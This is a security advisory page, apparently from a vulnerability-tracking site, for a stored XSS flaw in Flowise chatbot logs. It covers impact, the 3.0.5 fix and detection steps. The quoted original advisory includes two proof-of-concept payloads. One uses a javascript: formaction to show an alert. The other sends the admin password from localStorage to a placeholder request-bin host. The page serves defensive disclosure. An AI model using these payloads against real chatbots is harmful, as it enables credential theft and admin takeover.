AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2025-29192: Flowise Stored XSS vulnerability through logs in chatbot

mediumCVSS 3.1 5.3GHSA-7r4h-vmj9-wg42

Flowise before 3.0.5 shows chatbot logs with form and input tags allowed. An attacker can send a prompt containing an input of type image with a javascript: formaction. When an admin clicks the oversized image in the log, the script runs and can send the admin's stored credentials out. Fixed in 3.0.5.

Published Oct 3, 2025 · Updated Oct 13, 2025 · Analysis Nov 9, 2026

What an attacker can do

The Flowise chat log view let HTML tags such as form and input through. The reporter's payload is a form with an input of type image, a large width and height, and a formaction attribute that begins with javascript:. A prompt carrying this markup is stored in the log and appears as a very large clickable image. When an admin clicks it, the javascript: URL runs in the Flowise origin. In the second proof of concept the script reads localStorage.getItem('password') and sends it to an attacker's request bin.

Unlike the View Messages issue in the sibling advisory, this one needs a deliberate click on the injected element, which is why the CVSS vector has high attack complexity and user interaction. The attacker needs no account, only the ability to talk to a published chatbot. With the stolen credentials, the attacker can log in as the admin, read the chat logs of other users and see API keys, according to the advisory.

Who is affected

The npm package flowise before 3.0.5, on instances where an agent or chatbot is reachable by people you do not trust and an admin reads its logs. Check your version:

npm ls flowise

For Docker, check the image tag. The Flowise UI also shows its version in the settings menu.

flowise

Ecosystem
npm
Affected
< 3.0.5
Fixed in
3.0.5
Check
npm ls flowise

How to fix it

Upgrade to 3.0.5 or newer:

npm install -g flowise@latest

The fix is commit 9a06a85a8ddcbaeca1342827a5fea9087a587d97, part of pull request 4905. It routes HTML shown in the chat and execution views through a SafeHTML component that calls DOMPurify.sanitize() with an allowlist, and it forbids form and input elements and inline event handlers. The advisory lists no workaround. Until you upgrade, do not click rendered elements in logs from public chatbots, and rotate admin credentials if you did.

How to tell if you were hit

Search stored chat logs for form or input tags, a formaction attribute, or javascript: strings. Look for chat messages with an unusually large image element. Check outbound requests from admin browsers to request-bin style hosts that carry a passwd or similar query parameter. Treat the admin password and API keys as exposed if an admin clicked an injected element.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Description

In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting.

PoC

<form>
  <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" />
</form>

If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot.

<form>
  <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" />
</form>

So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps.

Poc Video

poc

Impact

An attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.

Credited to LIFE-team2024.

Questions

Does this need the admin to click something?

Yes. The injected input renders as a large image, and the script runs when the admin clicks it. That click is the required user interaction.

Which version fixes CVE-2025-29192?

Flowise 3.0.5. The package data lists all earlier versions as vulnerable.

What can the attacker take?

Per the advisory, the admin's credentials from localStorage. With them the attacker can log in as admin, see other users' chat logs and read API keys.

Is it exploited in the wild?

No source we read reports exploitation, and the entry has no CISA KEV record.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries